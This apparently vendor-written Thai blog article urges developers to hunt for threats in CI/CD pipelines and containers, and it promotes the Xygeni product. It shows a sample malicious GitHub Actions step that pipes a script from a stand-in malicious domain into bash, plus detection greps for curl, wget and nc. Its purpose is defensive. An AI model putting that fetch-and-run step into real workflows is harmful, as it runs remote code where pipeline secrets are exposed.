เหตุใดการล่าภัยคุกคามจึงควรอยู่ในขั้นตอนการพัฒนา ไม่ใช่แค่ทีมรักษาความปลอดภัยเท่านั้น
ทีมพัฒนาส่วนใหญ่ยังคงพึ่งพาการแจ้งเตือนจากศูนย์ปฏิบัติการด้านความปลอดภัย (SOC) และเครื่องมือรักษาความปลอดภัยภายนอกเพื่อตรวจจับภัยคุกคาม แต่การตรวจจับภัยคุกคามกำลังพัฒนาขึ้น และการล่าภัยคุกคามไม่ได้จำกัดอยู่แค่ในมือของนักวิเคราะห์ด้านความปลอดภัยอีกต่อไป การล่าภัยคุกคามทางไซเบอร์กำลังกลายเป็นทักษะที่นักพัฒนาจำเป็นต้องนำมาใช้ในขั้นตอนการทำงานของตนเอง
ทำไม? เพราะผู้โจมตีใช้ประโยชน์จากระบบ DevOps มากขึ้นเรื่อยๆ แพ็คเกจที่ถูกบุกรุกระบบอัตโนมัติที่ผิดเพี้ยน และ โทเค็นที่ถูกนำไปใช้ในทางที่ผิดและสัญญาณเหล่านั้นแทบจะไม่ทำให้เกิดการแจ้งเตือนด้านความปลอดภัยแบบดั้งเดิมเลย ยิ่งนักล่าภัยคุกคามตรวจพบปัญหาเหล่านี้ได้เร็วเท่าไร ทีมก็จะยิ่งสามารถหยุดยั้งเหตุการณ์จริงได้เร็วขึ้นเท่านั้น
ช่องว่างที่แท้จริงปรากฏให้เห็นใน:
- CI/CD งานที่รันไบนารีที่ไม่รู้จักโดยไม่เปิดเผยตัวตน
- ส่วนประกอบที่ถูกแทนที่ใน pull requests
- ความลับด้านสิ่งแวดล้อมที่ถูกนำไปใช้ในสาขาที่น่าสงสัย
นี่ไม่ใช่ปัญหาของทีมรักษาความปลอดภัย แต่เป็นปัญหาที่นักพัฒนาต้องเผชิญ และนี่คือจุดเริ่มต้นของการตามล่าหาภัยคุกคาม: ภายในโค้ด pipelineและสภาพแวดล้อมการพัฒนา นักพัฒนาที่นำเอาแนวคิดการล่าภัยคุกคามทางไซเบอร์มาใช้ จะกลายเป็นนักล่าภัยคุกคามคนแรกและดีที่สุดในทีม
นักล่าภัยคุกคามมองเห็นสัญญาณอ่อนที่คนอื่นมองข้ามได้อย่างไร
นักล่าภัยคุกคามจะไม่รอการแจ้งเตือน พวกเขาจะมองหาสัญญาณอ่อนๆ การเปลี่ยนแปลงเล็กน้อยที่ไม่ตรงกับพฤติกรรมที่คาดหวัง ในบริบทของโค้ดและ pipelines หมายความว่า:
สัญญาณอ่อนๆ ที่นักพัฒนาซอฟต์แวร์ที่ผันตัวมาเป็นนักล่าภัยคุกคามควรสังเกต:
- แฮชการพึ่งพาที่เปลี่ยนแปลงไปโดยไม่มีการเพิ่มเวอร์ชัน
- A โค้ง เรียกใช้สคริปต์ทดสอบที่ไม่มีอยู่เมื่อวานนี้
- A การดำเนินการ GitHub ที่วิ่งอย่างกะทันหัน chmod + x ในไฟล์ที่ดาวน์โหลดมา
- A โทเค็น JWT นำไปใช้ในงานที่อยู่นอกเหนือขอบเขตที่กำหนดไว้
⚠️คำเตือน: ขั้นตอนนี้จะเรียกใช้สคริปต์เชลล์จากโดเมนภายนอกโดยไม่มีการตรวจสอบ ซึ่งก่อให้เกิดความเสี่ยงอย่างมาก
# suspicious GitHub Actions step - name: Inject secrets run: | curl http://malicious-domain.com/payload.sh | bash นี่จะไม่ทำให้กฎความปลอดภัยแบบดั้งเดิมทำงาน แต่ผู้เชี่ยวชาญด้านการล่าภัยคุกคามจะมองเห็นความผิดปกติ: ทำไมจึงมีการเรียกใช้เพย์โหลดภายนอกใน CI? มันมาจากไหน? โค้ง คำสั่งมาจากไหน? แนวคิดนี้ คือการติดตามสิ่งที่ไม่คาดคิด ซึ่งสร้างความแตกต่าง การล่าภัยคุกคามทางไซเบอร์ในโค้ด หมายถึงการตรวจสอบบันทึก ข้อมูลความแตกต่าง และพฤติกรรมด้วยสายตาที่เฉียบคม
การประยุกต์ใช้การล่าภัยคุกคามทางไซเบอร์ภายในองค์กร CI/CD และภาชนะบรรจุ
นักพัฒนาสามารถปรับใช้เทคนิคการล่าภัยคุกคามทางไซเบอร์ได้โดยตรงภายในระบบ CI/CD และเวิร์กโฟลว์คอนเทนเนอร์ สภาพแวดล้อมเหล่านี้เอื้อต่อการถูกโจมตี และผู้โจมตีอาศัยข้อเท็จจริงที่ว่านักพัฒนาไม่ได้เฝ้าระวัง
เทคนิคการค้นหาภัยคุกคามเชิงปฏิบัติสำหรับนักพัฒนา:
- การตรวจจับการใช้โทเค็นในทางที่ผิดบันทึกการตรวจสอบเพื่อค้นหาข้อมูลลับที่ใช้ในงานที่ไม่คาดคิดหรือโดยผู้ใช้ที่ไม่ได้รับอนุญาต
- การดำเนินการกระบวนการที่ไม่คาดคิดติดตามงานที่กำลังรันคำสั่งต่างๆ เช่น ทุบตี, wget, โค้ง, chmodหรือ ncโดยเฉพาะจากแหล่งที่ไม่รู้จัก
- การอยู่ที่ งัดแงะเปรียบเทียบการพึ่งพาในระหว่างการสร้างกับค่าแฮชที่ได้รับอนุมัติล่วงหน้า เปรียบเทียบความแตกต่างของไฟล์ล็อกและโฟลเดอร์ของผู้จำหน่าย
⚠️คำเตือน: คำสั่งต่อไปนี้ไม่ควรปรากฏขึ้นระหว่างกระบวนการสร้างตามปกติ หากปรากฏขึ้น ให้ตรวจสอบหาสาเหตุโดยทันที
# hunting for unexpected processes inside a container ps aux | grep -E 'wget|curl|nc|sh' ⚠️คำเตือน: พฤติกรรมที่ผิดปกติเช่นในบันทึก JSON นี้ อาจบ่งชี้ถึงการกระทำที่ไม่ได้รับอนุญาตหรือการแทรกสคริปต์
{ "job": "build-app", "command": "curl https://weird-domain.net", "time": "2024-08-21T10:23:00Z" } ผู้เชี่ยวชาญด้านการล่าภัยคุกคามจะตรวจสอบว่าเหตุใดจึงมีการนำคำสั่งนี้มาใช้ และติดตามหาต้นตอของปัญหาอย่างเฉพาะเจาะจง commit หรือสคริปต์ นี่คือพฤติกรรมคลาสสิกของการล่าภัยคุกคามทางไซเบอร์ คือการตรวจจับการใช้งานในทางที่ผิดก่อนที่จะกลายเป็นช่องโหว่
การผนวกรวมเข้ากับแนวทางปฏิบัติของ DevSecOps
เป้าหมายไม่ใช่การตรวจสอบบันทึกทุกรายการด้วยตนเอง หรือ commitเป้าหมายคือการฝังตรรกะการค้นหาภัยคุกคามลงในระบบของคุณโดยตรง เวิร์กโฟลว์ DevSecOps.
วิธีการนำการล่าภัยคุกคามไปใช้ในทางปฏิบัติ:
- การบันทึกข้อมูลแบบมีโครงสร้างบันทึกการทำงานของคำสั่ง การเปลี่ยนแปลงสคริปต์ และการเรียกใช้เครือข่ายที่ไม่คาดคิด
- Pipeline การตรวจจับความผิดปกติ: แจ้งเตือนเมื่อพบความเบี่ยงเบนจาก pipeline ค่าพื้นฐาน เช่น ไบนารีใหม่ ข้อมูลลับที่แก้ไข หรือการเรียกใช้จากบุคคลที่สามแบบใหม่
- การตรวจสอบพฤติกรรมที่น่าสงสัยเพิ่มการตรวจสอบความถูกต้องหรือขั้นตอนการอนุมัติสำหรับความสัมพันธ์ใหม่หรือการเปลี่ยนแปลงงานที่สำคัญ
ลองนึกภาพว่าเป็นการขยับไปทางซ้าย แต่ด้วยความคิดแบบนักล่าภัยคุกคาม การปฏิบัติที่ดี: ใช้การตรวจจับแบบคงที่เพื่อระบุคำสั่งที่มีความเสี่ยงตั้งแต่เนิ่นๆ
- name: Check for unexpected curl usage run: | grep -r 'curl' .github/workflows/ || echo "No curl found" การจับคู่รูปแบบอย่างง่ายสามารถตรวจจับความผิดปกติได้ตั้งแต่เนิ่นๆ และสนับสนุนการตามล่าภัยคุกคามทางไซเบอร์โดยไม่ทำให้กระบวนการทำงานล่าช้าลง
การขยายขอบเขตการล่าภัยคุกคามด้วย Xygeni ทั่วทั้งโค้ดและ Pipelines
การค้นหาภัยคุกคามด้วยตนเองนั้นมีประสิทธิภาพ แต่ไม่สามารถรองรับการขยายขนาดได้ นั่นคือจุดที่ ไซเกนี เข้ามา. Xygeni ช่วยให้นักพัฒนาสามารถ:
- ติดตามการทำงานของกระบวนการที่ไม่คาดคิด CI/CD pipelines
- ตรวจจับการใช้งานโทเค็นที่น่าสงสัยหรือการแก้ไขการพึ่งพา
- ระบุสัญญาณการล่าภัยคุกคามทางไซเบอร์ในแหล่งเก็บโค้ดและคอนเทนเนอร์ต่างๆ
- สร้างฐานข้อมูลเพื่อตรวจจับพฤติกรรมและภัยคุกคามใหม่ๆ แบบเรียลไทม์
- เปิดโอกาสให้ผู้พัฒนาทุกคนสามารถทำหน้าที่เป็นผู้ค้นหาภัยคุกคามด้วยระบบสร้างบริบทอัตโนมัติ
แตกต่างจากเครื่องมือแบบดั้งเดิม Xygeni ดูแลรักษาอุปกรณ์ของคุณ pipelineโค้ดและไฟล์ต่างๆ เปรียบเสมือนเป้าหมายชั้นดีสำหรับผู้โจมตี และช่วยให้นักพัฒนาสามารถตามล่าภัยคุกคามได้ตั้งแต่ต้นตอ
จากนักพัฒนาสู่นักล่าภัยคุกคาม: บทบาทของคุณในการล่าภัยคุกคามทางไซเบอร์
การล่าหาภัยคุกคามไม่ได้มีไว้สำหรับศูนย์ปฏิบัติการด้านความปลอดภัย (SOC) เท่านั้น แต่มีไว้สำหรับนักพัฒนาทุกคนที่เขียนโค้ดและตั้งค่าระบบ pipelineหรือรวมการพึ่งพาเข้าด้วยกัน หากต้องการคิดแบบนักล่าภัยคุกคาม คุณต้อง:
- ติดตามสัญญาณอ่อนๆ ที่บ่งชี้ถึงการถูกบุกรุก
- ค้นหาข้อมูลในสภาพแวดล้อมของคุณเอง: งาน CI, บันทึกคอนเทนเนอร์, commit แตกต่าง
- สร้างตรรกะการตรวจจับให้เป็นส่วนหนึ่งของขั้นตอนการทำงานของคุณ ไม่ใช่คิดขึ้นมาทีหลัง
และด้วยเครื่องมืออย่าง Xygeni คุณสามารถขยายขอบเขตการล่าภัยคุกคามทางไซเบอร์ไปทั่วทั้งทีมได้ pipelineและความสัมพันธ์ต่างๆ
คิดแบบผู้โจมตี ไล่ล่าแบบนักพัฒนา
